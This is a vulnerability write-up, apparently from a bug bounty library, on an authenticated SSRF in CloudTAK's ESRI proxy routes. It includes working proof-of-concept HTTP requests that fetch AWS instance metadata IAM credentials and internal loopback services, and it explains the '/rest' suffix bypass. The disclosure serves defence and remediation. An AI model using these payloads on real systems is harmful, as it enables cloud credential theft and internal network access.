# CloudTAK: Authenticated full-read SSRF in the /api/esri* routes — user-controlled URL fetched with no IP-classification guard

CloudTAK's /api/esri* routes fetch user-supplied URLs without IP classification, letting any authenticated user read cloud metadata and internal services in full.

- Payout: Research
- Severity: high
- Program: CloudTAK
- Found by: tonghuaroot
- Disclosed: 2026-07-17
- CVE: CVE-2026-55177
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r95q-fp26-h3hc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r95q-fp26-h3hc
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:nodejs technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:secrets-leak vuln:ssrf

**Target:** Node.js API server ESRI proxy routes (api/routes/esri.ts, api/lib/esri.ts)
**Root cause:** The ESRI library imports bare fetch from @tak-ps/etl and calls it on user-controlled URLs with no isSafeUrl IP/DNS classification; the only check, sniff(), pattern-matches the pathname for /rest and never inspects the host. The SafeURL hardening migration covered basemap/task/video but missed the ESRI route family.
**Steps:**
1. Authenticate with any valid non-admin user token (routes only require Auth.is_auth with anyResources: true).
2. Send `POST /api/esri` with body `{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" }`; the `/rest` path passes sniff() and fetchVersion() fetches it.
3. Read the upstream body from the JSON response or the reflected `ESRI Server Error: <message>` string.
4. Alternatively `GET /api/esri/server?server=http://127.0.0.1:8500/rest` to read an internal service's full JSON via res.json(list).
5. Other sub-routes (`/api/esri/portal?portal=.../sharing/rest`, `/api/esri/server/layer?layer=.../rest/.../FeatureServer/0`) give the same full-read primitive.
**How found:** Code review of the ESRI route family: noticed `grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts` returns 0/0 while basemap.ts, task.ts and video-service.ts already call isSafeUrl — an incomplete migration. Then observed sniff() only matches pathname patterns, so appending `/rest` to any internal URL bypasses it.
**Exploitation:** Any authenticated user points the ESRI proxy at an internal URL; the server fetches it and returns the upstream JSON body (or reflects the error string), yielding IMDSv1 instance-role credentials or internal service data. No capital or chaining needed.
**Escalation:** Metadata credential theft escalates to the deployment's cloud account; internal enumeration extends reach to VPC-only services.
**Insight:** When a project ships a URL-safety helper and wires it into some fetch paths, grep for the helper name across all files importing a raw fetch — the un-migrated sibling routes are the bug. Also check whether the only 'validation' inspects pathname rather than host, since appending a matching path segment defeats it.

## Proof of concept (copied exactly from the original report)

**POST /api/esri reads cloud metadata**

```
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" }
```

**GET /api/esri/server loopback full-read**

```
GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
```

**Unauthenticated negative control request**

```
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/arcgis/rest" }
```

